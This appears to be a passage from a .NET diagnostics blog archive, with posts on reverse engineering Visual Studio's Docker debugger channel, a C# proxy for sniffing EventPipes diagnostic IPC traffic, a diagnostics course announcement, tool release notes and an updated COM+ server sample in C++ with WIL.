"docker" inspect --format="{{json .NetworkSettings.Ports}}" 019e9c646683350457a7ee1d30c85b7675a2bab28dc10ead6f851f6eb3963c43

We can see that MSBuild disposes the previous container during the build and then creates a new one (docker run). However, what interests us most, regarding our investigation, is the docker exec command. It creates an interactive debugger session in the Docker container. As a side note, notice that the debugger binaries were copied to my home folder (C:\Users\me\vsdbg) – it could be interesting to investigate how they landed there 😊. But moving back to our trace, we can see that we have a running ASP.NET Core app container, and there is an interactive debugging session attached to it. But we still don’t know how Visual Studio communicates with the debugger running in the interactive session. At first, I started looking for some hidden named pipes and WSL API, but couldn’t find anything. Thus, I decided I need to have a more in-depth look at the Visual Studio debugger engine.

As the “docker exec” event came from Visual Studio, it could be the debugger engine that fired the command. So, I copied the call stack from the properties window for this event and looked at the frames (I stripped the unimportant ones):

"Frame","Module","Location","Address","Path"
"0","ntoskrnl.exe","PspCallProcessNotifyRoutines + 0x213","0xfffff8028583759f","C:\WINDOWS\system32\ntoskrnl.exe"
...
"18","KERNELBASE.dll","CreateProcessW + 0x2c","0x7646da2c","C:\WINDOWS\SysWOW64\KERNELBASE.dll"
"19","System.ni.dll","System.ni.dll + 0x23cc02","0x7252cc02","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\a94f452eecde0f07e988ad14497426a5\System.ni.dll"
"20","System.ni.dll","System.ni.dll + 0x1aaaa4","0x7249aaa4","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\a94f452eecde0f07e988ad14497426a5\System.ni.dll"
"21","System.ni.dll","System.ni.dll + 0x1aa39c","0x7249a39c","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\a94f452eecde0f07e988ad14497426a5\System.ni.dll"
"22","<unknown>","0x23e037ad","0x23e037ad",""
"23","<unknown>","0x23e035f8","0x23e035f8",""
"24","<unknown>","0x23e03438","0x23e03438",""
"25","<unknown>","0x23e03223","0x23e03223",""
"26","<unknown>","0x23e0168e","0x23e0168e",""
"27","<unknown>","0x23e0153c","0x23e0153c",""
"28","<unknown>","0x23e0009b","0x23e0009b",""
"29","<unknown>","0x2394e5f7","0x2394e5f7",""
"30","<unknown>","0x2394e54d","0x2394e54d",""
"31","<unknown>","0x2394e460","0x2394e460",""
"32","clr.dll","COMToCLRDispatchHelper + 0x28","0x745bf3c1","C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll"
"33","<unknown>","0x328d060","0x328d060",""
"34","vsdebug.dll","DllGetClassObject + 0x2072e","0x7bc84352","C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Packages\Debugger\vsdebug.dll"
...
"60","devenv.exe","IsAssertEtwEnabled + 0x12474","0x123d24","C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\devenv.exe"
"61","KERNEL32.DLL","BaseThreadInitThunk + 0x19","0x75dafa29","C:\WINDOWS\SysWOW64\KERNEL32.DLL"
"62","ntdll.dll","__RtlUserThreadStart + 0x2f","0x770175f4","C:\WINDOWS\SysWOW64\ntdll.dll"
"63","ntdll.dll","_RtlUserThreadStart + 0x1b","0x770175c4","C:\WINDOWS\SysWOW64\ntdll.dll"

Time to reverse

Unfortunately, Process Monitor does not understand managed stacks (displays them as <unknown>), but, on the bright side, that also means that Visual Studio debugger is a .NET application. Nevertheless, I needed to create a memory dump of the Visual Studio process and manually decode the managed frames. The WinDbg output for the first <unknown> frame looked as follows:

0:000> !ip2md 0x23e037ad
MethodDesc:   23da1038
Method Name:  Microsoft.VisualStudio.Debugger.VSCodeDebuggerHost.AD7.Implementation.LocalTargetInterop+LocalProcessWrapper..ctor(System.String, System.String)
Class:        23dc22ec
MethodTable:  23da10b0
mdToken:      06000b66
Module:       20e3642c
IsJitted:     yes
CodeAddr:     23e03618
Transparency: Critical

0:000> !DumpMT /d 23da10b0
EEClass:         23dc22ec
Module:          20e3642c
Name:            Microsoft.VisualStudio.Debugger.VSCodeDebuggerHost.AD7.Implementation.LocalTargetInterop+LocalProcessWrapper
mdToken:         020001cf
File:            c:\program files (x86)\microsoft visual studio\2019\community\common7\ide\extensions\ahdlch2w.npb\Microsoft.VisualStudio.Debugger.VSCodeDebuggerHost.dll
BaseSize:        0x14
ComponentSize:   0x0
Slots in VTable: 16
Number of IFaces in IFaceMap: 1

And the first frame already revealed the place where Visual Studio keeps the debugger assemblies. It was time to fire up ILSpy and indulge myself in some reversing 😊. Quite soon, I discovered that the Visual Studio engine communicates with the container debugger using the Debug Adapter Protocol. And interestingly, the communication happens over the process standard input/output. That explains the interactive docker session! With all the pieces matching, it was time to prove that everything is working the way I think it is.

Sniffing the debugger channel

At first, I started looking for some sniffers of the process input/output but couldn’t find any (let me know if you know such tools). Then I experimented with breakpoints in WinDbg, but it proved to be hard to find the right handle and then extract the exchanged bytes. Finally, I decided to write my own sniffer and replace the docker.exe process with it. After a few trials (it seems that Console.StandardInput.ReadAsync is a blocking call), I ended up with the following code:

class Program
{
    static void Main(string[] args)
    {
        var psi = new ProcessStartInfo(Path.Combine(AppContext.BaseDirectory, "docker.bak.exe")) {
            RedirectStandardError = true,
            RedirectStandardInput = true,
            RedirectStandardOutput = true,
            UseShellExecute = false
        };
        Array.ForEach(args, arg => psi.ArgumentList.Add(arg));

        var proc = Process.Start(psi);
        if (proc == null)
        {
            Console.WriteLine("Error starting a process");
            return;
        }

        Console.CancelKeyPress += (o, ev) => { ev.Cancel = true; proc.Kill(); };

        var baseLogName = Path.Combine(Directory.CreateDirectory("d:\\temp\\docker-proxy").FullName, $"{proc.Id}");
        using (var s = File.CreateText(baseLogName))
        {
            s.WriteLine($"{psi.FileName} '{String.Join("', '", psi.ArgumentList)}'");
        }
        using var inlogstream = File.Create(baseLogName + ".in");
        using var outlogstream = File.Create(baseLogName + ".out");
        using var errlogstream = File.Create(baseLogName + ".err");

        using var cts = new CancellationTokenSource();
        using var instream = Console.OpenStandardInput();
        using var outstream = Console.OpenStandardOutput();
        using var errstream = Console.OpenStandardError();

        var forwarders = new[] {
            ForwardStream(instream, proc.StandardInput.BaseStream, inlogstream, cts.Token),
            ForwardStream(proc.StandardOutput.BaseStream, outstream, outlogstream, cts.Token),
            ForwardStream(proc.StandardError.BaseStream, errstream, errlogstream, cts.Token)
        };

        proc.WaitForExit();

        cts.Cancel();
        Task.WaitAny(forwarders);
    }

    static async Task ForwardStream(Stream instream, Stream outstream, Stream logstream, CancellationToken ct)
    {
        var b = new byte[4096];
        var inmem = new Memory<byte>(b, 0, b.Length);
        while (!ct.IsCancellationRequested)
        {
            int bytesread = await instream.ReadAsync(inmem, ct);
            if (bytesread == 0 || ct.IsCancellationRequested)
            {
                return;
            }
            var outmem = new ReadOnlyMemory<byte>(b, 0, bytesread);
            await logstream.WriteAsync(outmem, ct);
            await outstream.WriteAsync(outmem, ct);
            await outstream.FlushAsync();
        }
    }
}

As you can see, for each docker.exe launch, I’m creating four files:

  • {pid} with a command line
  • {pid}.in with the bytes from the standard input (I am forwarding them to the target process)
  • {pid}.err with the bytes from the error output of the target process (I am pushing them on the sniffer error output)
  • {pid}.out with the bytes from the standard output of the target process (I am pushing them on the sniffer’s standard output)

Then, I build a single assembly of my sniffer (thanks .NET 5.0!):

dotnet publish -r win-x64 -p:PublishSingleFile=true -p:PublishTrimmed=true -p:IncludeNativeLibrariesForSelfExtract=true --self-contained true

And copied it to c:\ProgramData\DockerDesktop\version-bin. Then I renamed the docker.exe shortcut in this folder to docker.bak.exe and my sniffer to docker.exe. I launched Visual Studio debugger, and soon in the d:\temp\docker-proxy folder, logs from multiple docker sessions started appearing. And one of the sessions was the debugger one! 😁

Below, you may find two first messages from the .in and .out files arranged in the correct order:

Content-Length: 514

{"type":"request","command":"initialize","arguments":{"pathFormat":"path","clientID":"visualstudio","clientName":"Visual Studio","adapterID":"coreclr","locale":"en-US","linesStartAt1":true,"columnsStartAt1":true,"supportsVariableType":true,"supportsRunInTerminalRequest":true,"supportsMemoryReferences":true,"supportsProgressReporting":true,"SupportsMessageBox":true,"supportsHandshakeRequest":true,"supportsVsAdditionalBreakpointBinds":true,"supportsHitCountsChange":true,"supportsVsCustomMessages":true},"seq":1}
Content-Length: 1835

{"seq":0,"type":"response","request_seq":1,"success":true,"command":"initialize","body":{"supportsConfigurationDoneRequest":true,"supportsFunctionBreakpoints":true,"supportsConditionalBreakpoints":true,"supportsHitConditionalBreakpoints":true,"supportsEvaluateForHovers":true,"exceptionBreakpointFilters":[{"filter":"all","label":"All Exceptions","default":false},{"filter":"user-unhandled","label":"User-Unhandled Exceptions","default":true}],"supportsSetVariable":true,"supportsGotoTargetsRequest":true,"supportsModulesRequest":true,"additionalModuleColumns":[{"attributeName":"vsLoadAddress","label":"Load Address","type":"string"},{"attributeName":"vsPreferredLoadAddress","label":"Preferred Load Address","type":"string"},{"attributeName":"vsModuleSize","label":"Module Size","type":"number"},{"attributeName":"vsLoadOrder","label":"Order","type":"number"},{"attributeName":"vsTimestampUTC","label":"Timestamp","type":"unixTimestampUTC"},{"attributeName":"vsIs64Bit","label":"64-bit","type":"boolean"},{"attributeName":"vsAppDomain","label":"AppDomain","type":"string"},{"attributeName":"vsAppDomainId","label":"AppDomainId","type":"number"}],"supportedChecksumAlgorithms":["MD5","SHA1","SHA256"],"supportsExceptionOptions":true,"supportsValueFormattingOptions":true,"supportsExceptionInfoRequest":true,"supportTerminateDebuggee":true,"supportsSetExpression":true,"supportsReadMemoryRequest":true,"supportsCancelRequest":true,"supportsExceptionConditions":true,"supportsLoadSymbolsRequest":true,"supportsModuleSymbolSearchLog":true,"supportsDebuggerProperties":true,"supportsSetSymbolOptions":true,"supportsHitBreakpointIds":true,"supportsVsIndividualBreakpointOperations":true,"supportsSetHitCount":true,"supportsVsCustomMessages":true,"supportsEvaluationOptions":true,"supportsExceptionStackTrace":true,"supportsObjectId":true}}
Content-Length: 520

{"type":"request","command":"launch","arguments":{"name":".Net Core Launch","type":"coreclr","request":"launch","program":"dotnet","args":"--additionalProbingPath /root/.nuget/fallbackpackages2 --additionalProbingPath /root/.nuget/fallbackpackages  \"WebApplication1.dll\"","cwd":"/app","symbolOptions":{"cachePath":"/remote_debugger/symbols"},"env":{"ASPNETCORE_HTTPS_PORT":"49189"},"targetOutputLogPath":"/dev/console","projectFullPath":"C:\\Users\\me\\source\\repos\\WebApplication1\\WebApplication1.csproj"},"seq":2}
Content-Length: 117

{"seq":1,"type":"request","command":"handshake","arguments":{"value":"hQV{redacted}2Y="}}

Snooping on .NET EventPipes

20 January 2021 at 12:03

While playing with EventPipes, I wanted to better understand the Diagnostic IPC Protocol. This protocol is used to transfer diagnostic data between the .NET runtime and a diagnostic client, such as, for example, dotnet-trace. When a .NET process starts, the runtime creates the diagnostic endpoint. On Windows, the endpoint is a named pipe, and on Unix, it’s a Unix domain socket created in the temp files folder. The endpoint name begins with a ‘dotnet-diagnostic-’ string and then contains the process ID to make it unique. The name also includes a timestamp and a ‘-socket’ suffix on Unix. Valid example names are dotnet-diagnostic-2675 on Windows and dotnet-diagnostic-2675-2489049-socket on Unix. When you type the ps subcommand in any of the CLI diagnostics tools (for example, dotnet-counters ps), the tool internally lists the endpoints matching the pattern I just described. So, essentially, the following commands are a good approximation to this logic:

# Linux
$ ls /tmp/dotnet-diagnostic-*
/tmp/dotnet-diagnostic-213-11057-socket /tmp/dotnet-diagnostic-2675-2489049-socket
# Windows
PS me> [System.IO.Directory]::GetFiles("\\.\pipe\", "dotnet-diagnostic-*")
\\.\pipe\dotnet-diagnostic-9272
\\.\pipe\dotnet-diagnostic-13372

The code for the .NET process listing is in the ProcessStatus.cs file. After extracting the process ID from the endpoint name, the diagnostics tool creates a Process class instance to retrieve the process name for printing. Armed with this knowledge, let’s try to intercept the communication between the tracer and the tracee.

Neither named pipes nor Unix domain sockets provide an API to do that easily. I started looking for the interceptors for either the kernel or user mode. I found a few interesting projects (for example, NpEtw), but I also discovered that configuring them would take me lots of time. I then stumbled upon a post using socat to proxy the Unix domain socket traffic. I wondered if I could write a proxy too.

Writing an EventPipes sniffer

The only problem was how to convince the .NET CLI tools to use my proxy. I did some tests, and on Linux, it’s enough to create a Unix domain socket with the same process ID but with the timestamp set to, for example, 1.

Let’s take as an example a .NET process with ID equal to 2675. Its diagnostic endpoint is represented by the /tmp/dotnet-diagnostic-2675-2489049-socket file. In my proxy, I am creating a Unix domain socket with a path /tmp/dotnet-diagnostic-2675-1-socket. The file system will list it first, and dotnet-trace (or any other tool) will pick it up as the endpoint for the process with ID 2675:

The code to create the proxy socket looks as follows:

private static async Task StartProxyUnix(int pid, CancellationToken ct)
{
    var tmp = Path.GetTempPath();
    var snoopedEndpointPath = Directory.GetFiles(tmp, $"dotnet-diagnostic-{pid}-*-socket").First();
    var snoopingEndpointPath = Path.Combine(tmp, $"dotnet-diagnostic-{pid}-1-socket");

    File.Delete(snoopingEndpointPath);

    var endpoint = new UnixDomainSocketEndPoint(snoopingEndpointPath);
    using var listenSocket = new Socket(endpoint.AddressFamily, SocketType.Stream, ProtocolType.Unspecified);
    listenSocket.Bind(endpoint);

    using var r = ct.Register(() => listenSocket.Close());

    try
    {
        var id = 1;
        while (!ct.IsCancellationRequested)
        {
            listenSocket.Listen();

            if (ct.IsCancellationRequested)
            {
                return;
            }

            var socket = await listenSocket.AcceptAsync();
            Console.WriteLine($"[{id}]: s1 connected");

            // random remote socket
            var senderSocket = new Socket(AddressFamily.Unix, SocketType.Stream, ProtocolType.Unspecified);
            await senderSocket.ConnectAsync(new UnixDomainSocketEndPoint(snoopedEndpointPath));
            Console.WriteLine($"[{id}]: s2 connected");

            _ = SniffData(new NetworkStream(socket, true), new NetworkStream(senderSocket, true), id, ct);
            id += 1;
        }
    }
    catch (SocketException)
    {
        /* cancelled listen */
        Console.WriteLine($"Stopped ({snoopingEndpointPath})");
    }
    finally
    {
        File.Delete(snoopingEndpointPath);
    }
}

On Windows, it’s more complicated as there is no timestamp in the name. Thus, I decided to create a fake diagnostics endpoint that will look like an endpoint for a regular .NET process but, in reality, will be a proxy. Remember that CLI tools also call the Process.GetProcessById method, so the PID in my endpoint name must point to a valid process accessible to the current user. The process must be native, so the diagnostic endpoint name is not already taken. I picked explorer.exe 😊, and to record EventPipes traffic, I will use explorer as the target process in .NET CLI tools, as on the image below:

And the code for creating my proxy named pipe looks as follows:

private static async Task StartProxyWindows(int pid, CancellationToken ct)
{
    var targetPipeName = $"dotnet-diagnostic-{pid}";
    var explorer = Process.GetProcessesByName("explorer").First();
    var pipeName = $"dotnet-diagnostic-{explorer.Id}";
    try
    {
        var id = 1;
        while (!ct.IsCancellationRequested)
        {
            var listener = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 10, PipeTransmissionMode.Byte,
                                    PipeOptions.Asynchronous, 0, 0);
            await listener.WaitForConnectionAsync(ct);
            Console.WriteLine($"[{id}]: s1 connected");

            if (ct.IsCancellationRequested)
            {
                return;
            }
            var sender = new NamedPipeClientStream(".", targetPipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
            await sender.ConnectAsync();
            Console.WriteLine($"[{id}]: s2 connected");

            _ = SniffData(listener, sender, id, ct);
            id += 1;
        }
    }
    catch (TaskCanceledException)
    {
        Console.WriteLine($"Stopped ({pipeName})");
    }
}

The fake diagnostic endpoint would work on Linux too, but the timestamp is less confusing. And we can always use our proxy to send some funny trace messages to our colleagues 🤐.

What’s left in our implementation is the forwarding code:

static async Task Main(string[] args)
{
    if (args.Length != 1 || !int.TryParse(args[0], out var pid))
    {
        Console.WriteLine("Usage: epsnoop <pid>");
        return;
    }

    using var cts = new CancellationTokenSource();

    Console.CancelKeyPress += (o, ev) => { ev.Cancel = true; cts.Cancel(); };

    if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
    {
        await StartProxyWindows(pid, cts.Token);
    }
    else
    {
        await StartProxyUnix(pid, cts.Token);
    }
}

private static async Task SniffData(Stream s1, Stream s2, int id, CancellationToken ct)
{
    var outstream = File.Create($"eventpipes.{id}.data");
    try
    {
        using var cts = CancellationTokenSource.CreateLinkedTokenSource(ct);
        var tasks = new List<Task>() {
            Forward(s1, s2, outstream, $"{id}: s1 -> s2", cts.Token),
            Forward(s2, s1, outstream, $"{id}: s2 -> s1", cts.Token)
        };

        var t = await Task.WhenAny(tasks);

        var ind = tasks.IndexOf(t);
        Console.WriteLine($"[{id}]: s{ind + 1} disconnected");
        tasks.RemoveAt(ind);

        cts.Cancel();

        await Task.WhenAny(tasks);
        Console.WriteLine($"[{id}]: s{1 - ind + 1} disconnected");
    }
    catch (TaskCanceledException) { }
    finally
    {
        outstream.Close();
        s1.Dispose();
        s2.Dispose();
    }
}

private static async Task Forward(Stream sin, Stream sout, Stream snoop, string id, CancellationToken ct)
{
    var buffer = new byte[1024];
    while (true)
    {
        var read = await sin.ReadAsync(buffer, 0, buffer.Length, ct);
        if (read == 0)
        {
            break;
        }
        Console.WriteLine($"[{id}] read: {read}");
        snoop.Write(buffer, 0, read);
        await sout.WriteAsync(buffer, 0, read, ct);
    }
}

I’m saving the recorded traffic to the eventpipes.{stream-id}.data file in the current directory. The code of the application is also in the epsnoop folder in my diagnostics-tools repository.

Analyzing the EventPipes traffic

I also started working on the 010 Editor template. At the moment, it only understands IPC messages, but, later, I would like to add parsers for some of the diagnostic sequences as well (feel free to create a PR if you work on them too!). The template is in the blog samples repository, and on a screenshot below, you can see the initial bytes sent by the dotnet-counters monitor command:

.NET Diagnostics Expert course

9 June 2021 at 07:24

Last week we published the final module of the .NET Diagnostics Expert Course:

I’m excited and happy that it’s finally available. But I’m also relieved as there were times when I thought it would never happen 🙂 In this post, I want to share some details about the course and why I decided to make it.

How it all started

It was my plan for a long time to publish a course on .NET diagnostics. However, I have never found enough time to focus on it, and apart from handling a few free training sessions for the devWarsztaty initiative, I hadn’t made much progress in realizing it. So what changed last year? Firstly, in late summer, I decided to leave Turbo.net and focus on learning and my private projects, most importantly wtrace. I finally published https://wtrace.net and started working on a new wtrace release and other tracing tools. Three weeks passed, and while talking with Szymon, the idea of a .NET diagnostics course emerged. I thought that the timing would never be better, so I drafted the course plan, and Konrad published the https://diagnosticsexpert.com site. Then I prepared two webinars, and Dotnetos started the presale of the course at the beginning of December. I was under stress that the interest would be low and not many people will find the subject interesting. The presale, however, went very well (thank you all who put trust in me!), giving me some relief.

Making-of

And then the recordings started. At first, I tried recording the lessons as I was presenting the slides. It did not work very well, and every lesson took me hours to complete. My wife took pity on me and browsed tutorials for starting YouTubers to find that they often use transcripts. And thus, I began writing transcripts 🙂 That made the lesson preparation longer, but the recording time was much more manageable. Unfortunately, transcripts did not work for DEMOs, so they still required hours in front of the microphone. Another problem with DEMOs is that they are not always entirely predictable. Sometimes, during the DEMO, I received an output I haven’t thought of or, even worse, discovered a bug in the diagnostics tool. Once I had raw materials ready, Konrad and Paulina reviewed them, and Andrzej processed the videos. Konrad then watched the final recordings, making sure they do not contain any repetitions or other issues.

There were various problems I hit along the way. In the first month, my camera broke. And, as I didn’t want to lose any time, I created a temporary solution:

The positive side of it is that you may see that the course has solid fundaments! 🙂 I also spilled tea on my laptop (thankfully, it survived after drying) and corrupted my drive when testing diskspd (entirely my fault – I shouldn’t be doing it after midnight). Fortunately, the backup worked.

What’s in the course

Having covered the course making, let me describe to you the course content. When preparing the lessons, I focused on practicality, presenting techniques and tools which you may employ to diagnose various .NET (and not only) problems. There are 11 modules in the course:

  • Module 1, “Debugging,” describes the building blocks of a debugger, symbol files management, and features of Debuggers, both managed (VS, VS Code) and native (WinDbg, LLDB)
  • Module 2, “Tracing,” focuses on Event Tracing for Windows, Linux tracing APIs (perf, LTTng, eBPF), and .NET Event Pipes
  • Module 3, “Windows and Linux diagnostic sources,” covers various applications to monitor processes on Windows and Linux (including ps, top, htop, Process Hacker)
  • Module 4, “High CPU usage,” describes ways of troubleshooting CPU-related issues, including CPU sampling, thread time (clock time) profiling, and .NET Profiling API
  • Module 5, “Deadlocks,” covers techniques for troubleshooting deadlocks and waits using memory dumps and trace-based wait analysis
  • Module 6, “Network issues – TCP, UDP,” concentrates on monitoring TCP and UDP connections and troubleshooting various connectivity issues (including slow server responses, dropped connections, or intermittent network errors). Apart from typical network tracing tools such as Wireshark or tcpdump, we also use .NET network traces.
  • Module 7, “Network issues – DNS, HTTP(S),” is about troubleshooting issues in higher layer protocols: DNS, HTTP, and TLS. Apart from system tools, I also cover ASP.NET Core and Kestrel logs. In this module, we also implement and use various network proxies to intercept and modify the traffic.
  • Module 8, “Application execution issues,” targets assembly loading issues, exceptions, and production debugging techniques (including system image preparations, automatic dump collection, and remote debugging)
  • Module 9, “Miscellaneous issues,” describes diagnosing memory, File I/O, and some other issues. It also lists final tips and tricks for troubleshooters.
  • Module 10, “Diagnostics logs in the application,” shows ways of how we can interact with the debugger from within the application and how we may publish custom performance traces.
  • Module 11, “Writing custom diagnostics tools,” covers usage of ClrMD, Diagnostics Client, and TraceEvent libraries to write our custom diagnostics tools.

As you maybe noticed, the first three modules present general concepts and tools, while the subsequent six modules focus on various diagnostics cases. Finally, the last two modules are about implementing code for diagnosing purposes. Each module ends with homework exercises. I wanted them to be challenging and resemble problems I observed in the production. And, as it’s a practical course, I spent a lot of time in DEMOs.

Although the course concentrates on .NET, many presented techniques could be employed to troubleshoot native applications or even system problems. I also believe that debugging, tracing, and reading source code (if it’s available, of course) are the best ways to learn how libraries and applications function.

Final words

In the end, I would like to thank Dotnetos, in particular, Konrad, for the endless hours he spent reviewing the videos and slides. It was a huge and challenging project that occupied me for the last six months (two months more than initially anticipated :)). But I’m happy with the final result, and I hope that those who decide to participate in it will enjoy the prepared materials.

New releases of my open-source tools

29 July 2021 at 06:48

I made several updates to my open-source tools in the last four weeks, and I also released one new tool. In this post, I will describe those updates briefly, including some discoveries I made along the way.

dotnet-wtrace

The biggest news is the release of dotnet-wtrace, a new tool in the wtrace toolkit. I created it because I could not find a tool that would show the runtime (and not only) events in real-time. Dotnet-wtrace does not simply dump the events data but processes it to make the output easily readable. Below, you may see an example screenshot containing GC events from an ASP.NET Core application.

Besides GC events, dotnet-wtrace will display exceptions, loader, ASP.NET Core, EF Core, and network events. The documentation also describes its various filtering capabilities.

Dotnet-wtrace is entirely implemented in F# and relies on Microsoft.Diagnostics.NETCore.Client and Microsoft.Diagnostics.Tracing.TraceEvent libraries. I must admit I enjoy coding in F# greatly. F# might be a bit hard to grasp at first, especially if you’re new to functional programming, but the benefits of learning it are numerous. Keeping your variables immutable, avoiding nulls, and writing stateless code whenever possible will make your apps only safer. F# compiler won’t allow implicit conversions and will complain about all unhandled conditions. The list of benefits is much longer 🙂 I also find F# syntax more concise and consistent than C# one. If I gained your interest and you want to experiment with F#, I recommend the Get Programming with F# book by Isaac Abraham – it helped me a lot in the beginning. Its content was more approachable than other materials available on the Internet. I deviated from the main subject of this post, so let’s get back to dotnet-wtrace. The features I miss most in the current version are call stacks for exceptions and summary statistics. I plan to add them in future tool releases, so please subscribe to the wtrace newsletter to be the first to try them 🙂

wtrace

I also made minor updates to wtrace , allowing it to trace image loader (issue #15) and UDP events. Additionally, I published a wtrace package to Chocolatey (issue #13), so if you’re using this package manager, you may install wtrace with this simple command: choco install wtrace.

procgov (Process Governor)

There were some significant changes in the procgov tool to implement the feature requested by ba-tno (btw., the issue description is excellent). It is now possible to update the process limits by rerunning procgov with new parameter values. When working on this feature, I discovered interesting behavior of the Windows job objects – with the last handle to the job object closed, the job disappears from the Object Manager (you can’t open it by name), but its limits still apply to the process. To overcome this problem, I’m now duplicating the created job handle in the target process to keep the job accessible.

I’ve planned to refactor the procgov codebase for some time already, and I finally found a moment to do that. Thanks to the CsWin32 project, I could remove lots of boilerplate PInvoke code. I was surprised by how smoothly the CsWin32 code generators worked in Visual Studio 2019. Interestingly, the code generators retrieve the signatures from the win32metadata assembly, generated with the help of the ClangSharp project. Some signatures are maybe a bit more complex to use than in my older manual setup, but I prefer to spend a minute longer writing the call instruction than 20 minutes on preparing the PInvoke signature. I also split the stateful, hard-to-maintain ProcessGovernor class into two static (stateless) types: ProcessModule and Win32JobModule, which use a shared SessionSettings object (lesson learned from functional programming :)). The code is now easier to understand and modify.

It should also be soon possible to install procgov with Chocolatey. Its package is awaiting approval. Moreover, I moved the procgov build from Azure Devops to GitHub Actions and added steps to keep the Chocolatey package in sync with the main repo.

I hope you’ll find the new features and tools helpful, and if you have any ideas for improvements, let me know or create an issue in the tool repository. Thank you.

COM+ revisited

17 January 2022 at 07:40

More than ten years ago (how time flies!), when I published the basic sample of a COM+ server and client, I thought that I wouldn’t be touching this subject again. But here we are, in 2022, and I have so much interaction with COM at work that I decided to write a new, updated, and a bit more detailed post about this technology 😁 I don’t want to convince you to use COM as the backbone for your new applications. Instead, I want to show you how you may approach and use COM APIs if you need to work with them. We will also do some COM debugging in WinDbg. Additionally, I plan to release a new COM troubleshooting tool as part of the wtrace toolkit. Remember to subscribe to wtrace updates if you’re interested.

Today’s post will continue using the old Protoss COM classes, but we will update the code with various modern ideas. As you may remember, Nexus and Probe classes represent Blizzard’s Starcraft game objects. Nexus is a building that may produce Probes (CreateUnit method in the INexus interface), and Probe may build various structures, including Nexuses (ConstructBuilding method in the IProbe interface). I also added a new IGameObject interface, shared by Nexus and Probe, that returns the cost in minerals and the time needed to build a given game object. In IDL, it looks as follows:

[object, uuid(59644217-3e52-4202-ba49-f473590cc61a)]
interface IGameObject : IUnknown
{
    [propget]
    HRESULT Name([out, retval] BSTR* name);

    [propget]
    HRESULT Minerals([out, retval]LONG* minerals);

    [propget]
    HRESULT BuildTime([out, retval]LONG* buildtime);
}

I also added a type library to the IDL:

[
    uuid(0332a9ab-e3bb-4042-bc6a-b98aebd6532d),
    version(1.0),
    helpstring("Protoss 1.0 Type Library")
    ]
library ProtossLib
{
    importlib("stdole2.tlb");

    interface INexus;
    interface IProbe;

    [
        uuid(F5353C58-CFD9-4204-8D92-D274C7578B53),
        helpstring("Nexus Class")
        ]
    coclass Nexus {
        [default] interface INexus;
        interface IGameObject;
    }

    [
        uuid(EFF8970E-C50F-45E0-9284-291CE5A6F771),
        helpstring("Probe Class")
        ]
    coclass Probe {
        [default] interface IProbe;
        interface IGameObject;
    }
}

If we run midl.exe after this change, it will generate a type library file (protoss.tlb). The type library provides a language-agnostic way to access COM metadata. For example, we may import it to a .NET assembly using the tlbimp.exe tool from .NET Framework SDK.

Updating the Protoss COM server

As you remember, the COM server requires a few DLL exports to make its COM classes instantiable. One of them is DllGetClassObject. The DllGetClassObject function from the old post directly constructed the Nexus and Probe objects. The more common approach is to return an IClassFactory instance for each implemented class and let the clients call its CreateInstance method. The clients often do this implicitly by calling the CoCreateInstance or CoCreateInstanceEx functions. These functions first ask for a class factory object and later use it to create a requested class instance. Supporting IClassFactory is straightforward:

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
	if (rclsid == __uuidof(Nexus)) {
		static ProtossObjectClassFactory<Nexus, INexus> factory{};
		return factory.QueryInterface(riid, ppv);
	} 
    if (rclsid == __uuidof(Probe)) {
		static ProtossObjectClassFactory<Probe, IProbe> factory{};
		return factory.QueryInterface(riid, ppv);
	}
	return CLASS_E_CLASSNOTAVAILABLE;
}

The ProtossObjectClassFactory is a class template implementing the IClassFactory interface. I want to bring your attention to the CreateInstance method:

HRESULT __stdcall CreateInstance(IUnknown* pUnkOuter, REFIID riid, void** ppv) override {
    if (pUnkOuter) {
        return CLASS_E_NOAGGREGATION;
    }

    try {
        wil::com_ptr_t<IUnknown> unknown{};
        // attach does not call AddRef (we set ref_count to 1 in COM Objects)
        unknown.attach(static_cast<IT*>(new T()));
        return unknown->QueryInterface(riid, ppv);
    } catch (const std::bad_alloc&) {
        return E_OUTOFMEMORY;
    }

    return S_OK;
}

It uses the wil::com_ptr_t class. It’s one of the many smart pointers provided by Windows Implementation Library. Thanks to wil::com_ptr_t or wil::unique_handle, we no longer need to call Release or CloseHandle methods explicitly – they are called automatically in the smart pointer destructors. Thus, we free the resources when the pointers go out of scope. WIL and modern C++ really make using RAII with Windows API straightforward 😁.

One missing piece in the old code was registration. I used reg files to register the Protoss COM library in the system. It’s not the best way to do so, and, instead, we should implement DllRegisterServer and DllUnregisterServer functions so that the clients may register and unregister our library with the regsvr32.exe tool. The code presented below is based on the sample from the great Windows 10 System Programming book by Pavel Yosifovich. Only in my version, I used WIL, and you may quickly see its usage benefits when you look at the original version (for example, no calls to CloseHandle and no error checks thanks to WIL result macros):

std::array<std::tuple<std::wstring_view, std::wstring, std::wstring>, 2> coclasses{
	std::tuple<std::wstring_view, std::wstring, std::wstring> { L"Protoss Nexus", wstring_from_guid(__uuidof(Nexus)), L"Protoss.Nexus.1" },
	std::tuple<std::wstring_view, std::wstring, std::wstring> { L"Protoss Probe", wstring_from_guid(__uuidof(Probe)), L"Protoss.Probe.1" },
};

STDAPI DllRegisterServer() {
	auto create_reg_subkey_with_value = [](HANDLE transaction, HKEY regkey, std::wstring_view subkey_name, std::wstring_view subkey_value) {
		wil::unique_hkey subkey{};
		RETURN_IF_WIN32_ERROR(::RegCreateKeyTransacted(regkey, subkey_name.data(), 0, nullptr, REG_OPTION_NON_VOLATILE,
			KEY_WRITE, nullptr, subkey.put(), nullptr, transaction, nullptr));
		RETURN_IF_WIN32_ERROR(::RegSetValueEx(subkey.get(), nullptr, 0, REG_SZ,
			reinterpret_cast<const BYTE*>(subkey_value.data()), static_cast<DWORD>((subkey_value.size() + 1) * sizeof(wchar_t))));

		return S_OK;
	};

	wil::unique_handle transaction{ ::CreateTransaction(nullptr, nullptr, TRANSACTION_DO_NOT_PROMOTE, 0, 0, INFINITE, nullptr) };
	RETURN_LAST_ERROR_IF(!transaction.is_valid());

	for (const auto& coclass : coclasses) {
		auto name{ std::get<0>(coclass) };
